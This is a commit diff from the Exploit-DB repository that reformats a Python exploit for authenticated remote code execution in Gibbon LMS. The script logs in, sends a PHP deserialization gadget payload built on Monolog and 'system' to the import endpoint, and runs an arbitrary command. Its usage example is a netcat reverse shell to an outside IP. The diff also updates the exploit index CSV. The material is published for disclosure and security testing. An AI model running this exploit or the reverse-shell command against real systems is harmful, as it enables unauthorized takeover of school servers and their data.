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DB: 2024-05-16
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2 changes to exploits/shellcodes/ghdb

Gibbon LMS < v26.0.00 - Authenticated RCE
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Exploit-DB committed May 16, 2024
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82 changes: 17 additions & 65 deletions exploits/php/webapps/51903.py
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Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
# Exploit Title: Gibbon LMS has a PHP Deserialization vulnerability on
the v26.0.00 version
# Exploit Title: Gibbon LMS has a PHP Deserialization vulnerability on the v26.0.00 version
# Date: 22.01.2024
# Exploit Author: SecondX.io Research Team(Ali Maharramli,Fikrat
Guliev,Islam Rzayev )
# Exploit Author: SecondX.io Research Team(Ali Maharramli,Fikrat Guliev,Islam Rzayev )
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
Expand All @@ -18,27 +16,13 @@

def login(target_host, target_port,email,password):
url = f'http://{target_host}:{target_port}/login.php?timeout=true'
headers = {"Content-Type": "multipart/form-data;
boundary=---------------------------174475955731268836341556039466"}
data =
f"-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition:
form-data;
name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
r = requests.post(url, headers=headers, data=data,
allow_redirects=False)
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
print(url)
print(r.headers)
Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
if Session_Cookie[4] is not None and '/index.php' in
str(r.headers['Location']):
if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
print("[X] Login successful!")

return Session_Cookie[4]
Expand All @@ -49,10 +33,8 @@ def generate_payload(command):

# Given base64-encoded string
### Actual Payload:
###
a:2:{i:7%3BO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3Br:3%3Bs:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:COMMAND_SIZE:"COMMAND"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:6:"system"%3B}}}i:7%3Bi:7%3B}
base64_encoded_string =
'YToyOntpOjclM0JPOjMyOiJNb25vbG9nXEhhbmRsZXJcU3lzbG9nVWRwSGFuZGxlciI6MTp7czo5OiIlMDAqJTAwc29ja2V0IiUzQk86Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjEwOiIlMDAqJTAwaGFuZGxlciIlM0JyOjMlM0JzOjEzOiIlMDAqJTAwYnVmZmVyU2l6ZSIlM0JpOi0xJTNCczo5OiIlMDAqJTAwYnVmZmVyIiUzQmE6MTp7aTowJTNCYToyOntpOjAlM0JzOkNPTU1BTkRfU0laRToiQ09NTUFORCIlM0JzOjU6ImxldmVsIiUzQk4lM0J9fXM6ODoiJTAwKiUwMGxldmVsIiUzQk4lM0JzOjE0OiIlMDAqJTAwaW5pdGlhbGl6ZWQiJTNCYjoxJTNCczoxNDoiJTAwKiUwMGJ1ZmZlckxpbWl0IiUzQmk6LTElM0JzOjEzOiIlMDAqJTAwcHJvY2Vzc29ycyIlM0JhOjI6e2k6MCUzQnM6NzoiY3VycmVudCIlM0JpOjElM0JzOjY6InN5c3RlbSIlM0J9fX1pOjclM0JpOjclM0J9'
### a:2:{i:7%3BO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3Br:3%3Bs:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs:COMMAND_SIZE:"COMMAND"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:6:"system"%3B}}}i:7%3Bi:7%3B}
base64_encoded_string = 'YToyOntpOjclM0JPOjMyOiJNb25vbG9nXEhhbmRsZXJcU3lzbG9nVWRwSGFuZGxlciI6MTp7czo5OiIlMDAqJTAwc29ja2V0IiUzQk86Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjEwOiIlMDAqJTAwaGFuZGxlciIlM0JyOjMlM0JzOjEzOiIlMDAqJTAwYnVmZmVyU2l6ZSIlM0JpOi0xJTNCczo5OiIlMDAqJTAwYnVmZmVyIiUzQmE6MTp7aTowJTNCYToyOntpOjAlM0JzOkNPTU1BTkRfU0laRToiQ09NTUFORCIlM0JzOjU6ImxldmVsIiUzQk4lM0J9fXM6ODoiJTAwKiUwMGxldmVsIiUzQk4lM0JzOjE0OiIlMDAqJTAwaW5pdGlhbGl6ZWQiJTNCYjoxJTNCczoxNDoiJTAwKiUwMGJ1ZmZlckxpbWl0IiUzQmk6LTElM0JzOjEzOiIlMDAqJTAwcHJvY2Vzc29ycyIlM0JhOjI6e2k6MCUzQnM6NzoiY3VycmVudCIlM0JpOjElM0JzOjY6InN5c3RlbSIlM0J9fX1pOjclM0JpOjclM0J9'

command_size = len(command)

Expand All @@ -71,42 +53,12 @@ def generate_payload(command):


def rce(cookie, target_host, target_port, command):
url =
f'http://{target_host}:{target_port}/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'
headers = {"Content-Type": "multipart/form-data;
boundary=---------------------------104550429928543086952438317710","Cookie":
cookie}
url = f'http://{target_host}:{target_port}/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------104550429928543086952438317710","Cookie": cookie}
payload = generate_payload(command)
data =
f'-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data; name="address"\r\n\r\n/modules/System
Admin/import_run.php\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="mode"\r\n\r\nsync\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="syncField"\r\n\r\nN\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="syncColumn"\r\n\r\n\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="columnOrder"\r\n\r\n{payload}\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="columnText"\r\n\r\nN;\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="fieldDelimiter"\r\n\r\n%2C\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="stringEnclosure"\r\n\r\n%22\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="filename"\r\n\r\nDataStructure-externalAssessment.xlsx\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data; name="csvData"\r\n\r\n"External Assessment","Assessment
Date","Student","Field Name Category","Field
Name","Result"\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="ignoreErrors"\r\n\r\n1\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:
form-data;
name="Failed"\r\n\r\nSubmit\r\n-----------------------------104550429928543086952438317710--'

r = requests.post(url, headers=headers, data=data,
allow_redirects=False)
data = f'-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="address"\r\n\r\n/modules/System Admin/import_run.php\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="mode"\r\n\r\nsync\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncField"\r\n\r\nN\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="syncColumn"\r\n\r\n\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="columnOrder"\r\n\r\n{payload}\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition:form-data; name="columnText"\r\n\r\nN;\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="fieldDelimiter"\r\n\r\n%2C\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="stringEnclosure"\r\n\r\n%22\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="filename"\r\n\r\nDataStructure-externalAssessment.xlsx\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="csvData"\r\n\r\n"External Assessment","Assessment Date","Student","Field Name Category","Field Name","Result"\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="ignoreErrors"\r\n\r\n1\r\n-----------------------------104550429928543086952438317710\r\nContent-Disposition: form-data; name="Failed"\r\n\r\nSubmit\r\n-----------------------------104550429928543086952438317710--'

r = requests.post(url, headers=headers, data=data, allow_redirects=False)
print("[X] Request sent!")

start_index = r.text.find("<h2>Step 4 - Live Run</h2>")
Expand All @@ -122,8 +74,8 @@ def rce(cookie, target_host, target_port, command):

if __name__ == '__main__':
if len(sys.argv) != 6:
print("[X] Usage: script.py <target_host> <target_port> <email>
<password> <command>")
print("[X] Usage: script.py <target_host> <target_port/url> <email> <password> <command>")
print("[X] Example: python gibbon_rce.py 192.168.1.100 80/gibbon [email protected] password1 \"./nc -e /bin/bash 172.28.218.3 4444\"")
sys.exit(1)
cookie = login(sys.argv[1], sys.argv[2],sys.argv[3],sys.argv[4])
rce(cookie, sys.argv[1], sys.argv[2], sys.argv[5])
2 changes: 1 addition & 1 deletion files_exploits.csv
View file
Original file line number Diff line number Diff line change
Expand Up @@ -19259,7 +19259,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
4404,exploits/php/webapps/4404.txt,"GForge < 4.6b2 - 'skill_delete' SQL Injection",2007-09-13,"Sumit Siddharth",webapps,php,,2007-09-12,2016-12-26,1,OSVDB-37031;CVE-2007-4966;CVE-2007-3913,,,,,
3271,exploits/php/webapps/3271.php,"GGCMS 1.1.0 RC1 - Remote Code Execution",2007-02-05,Kacper,webapps,php,,2007-02-04,,1,OSVDB-35849;CVE-2007-0804,,,,,
26653,exploits/php/webapps/26653.txt,"GhostScripter Amazon Shop 5.0 - 'search.php' SQL Injection",2005-11-29,r0t,webapps,php,,2005-11-29,2013-07-07,1,CVE-2005-3908;OSVDB-21371,,,,,https://www.securityfocus.com/bid/15634/info
51903,exploits/php/webapps/51903.py,"Gibbon LMS < v26.0.00 - Authenticated RCE",2024-03-18,"Ali Maharramli_Fikrat Guliev_Islam Rzayev",webapps,php,,2024-03-18,2024-03-18,0,,,,,,
51903,exploits/php/webapps/51903.py,"Gibbon LMS < v26.0.00 - Authenticated RCE",2024-03-18,"Ali Maharramli_Fikrat Guliev_Islam Rzayev",webapps,php,,2024-03-18,2024-05-15,0,,,,,,
51962,exploits/php/webapps/51962.txt,"Gibbon LMS v26.0.00 - SSTI vulnerability",2024-04-02,"Ali Maharramli_Fikrat Guliev_Islam Rzayev",webapps,php,,2024-04-02,2024-04-02,0,CVE-2024-24724,,,,,
42442,exploits/php/webapps/42442.txt,"GIF Collection 2.0 - SQL Injection",2017-08-10,"Ihsan Sencan",webapps,php,,2017-08-10,2017-08-10,0,,,,,,
44718,exploits/php/webapps/44718.txt,"Gigs 2.0 - 'username' SQL Injection",2018-05-23,AkkuS,webapps,php,,2018-05-23,2018-05-23,0,,,,,,
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